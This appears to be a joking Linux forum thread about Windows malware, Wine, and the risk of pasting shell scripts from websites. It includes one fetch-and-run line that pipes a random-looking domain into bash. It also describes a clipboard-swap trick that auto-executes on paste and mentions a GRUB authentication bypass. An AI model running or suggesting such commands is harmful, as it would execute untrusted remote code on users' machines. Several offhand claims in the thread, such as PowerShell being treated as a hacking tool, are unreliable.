Exe in a bottle

until you try to install .exe game file using lutris and wine

Why does your admin account look like a scrotum?
- it's where the power is stored
- Yours doesn’t?
- Insert joke about it taking balls to use it
  
  Insert another joke about it being the root of the access tree/graph in the image
- Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.

... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others...)

One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?
But a forum post said it would fix my issue.
- I feel like there's some truth to this!
  
  If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.
Raises hand I might be some people 🥺
- There's some people in all of us
curl gu5usgugiv.lol | bash || curl get.k3s.io | bash

Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
Let me open up my Linux bible and see if its malicious
...so, never put things in the terminal?
- In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.
- Correct.
What do they hope to do in a temporary qube VM?

This is were WINE comes handy /s

WannaCry: Platinium

https://appdb.winehq.org/objectManager.php?sClass=application&iId=18249
- WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.
  
  Hehe
- now im really tempted to try it, we have a decryptor now dont we?
  
  inb4 decryptor: borked
- I'm not clicking that link
Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"

And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

Wine automatically running:

A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.

He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.

That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
That's another reason not to dual boot. Ditch Windows.

Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.

https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

That's hyperbole. Such a system can be "hacked" by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.

The only reason to use GRUB authentication I can think of would be in something like a kiosk.
If the adversary has physical access you are generally pwned either way
Yeah that is not really an "OMG" vulnerability as I can also get into that machine by booting it with a USB drive, or plugging it's drove into my own machine.
Does anyone here use GRUB authentication? If so why? What's your threat model?
Breh. What? I feel naked right now.
- Better replace your keyboard everytime you leave it unattended, someone could put a keylogger in it. Don't forget to check for hidden pinhole cameras around that capture you inputting your passwords. Etc, etc. Those even work against an encrypted drive...

Modern viruses check the os before deciding which type of file to send your way.

This is why you use a user agent switcher to lie about being windows. It's a form of anti malware!
- Except websites can tell what base OS you run using browser fingerprinting. It os impossible to lie aboit your OS because of the differences in platforms.
Do you have any data to back up that claim? I don't think that's true at all, it would be very rare.
- Do you have any data to back up that claim?
  
  None whatsoever.
  
  I don’t think that’s true at all, it would be very rare.
  
  Suspicious words. You have one, don't you? Don't worry, I won't tell.
Pick the least POSIX shell, or roll your own! <taps head>
- Rename all the coreutils. Confuse yourself and the hackers!

It does if you right click it and run with wine or whatever it says

in mint cinnamon it still has no power, wine is not in the context menu or program list!
- ...by default. You could always add it.

Sometimes when I've torrenting from a public wifi I'll get a malicious .scr file - but since I torrent from an Android phone it can't do anything to me.

This has given me a horrendous idea involving a Windows batch file and a weird shebang

you're not the first. there absolutely are multiplatform launcher scripts. i have used one for installers a few years ago.
Shebang needs executable rights afaik.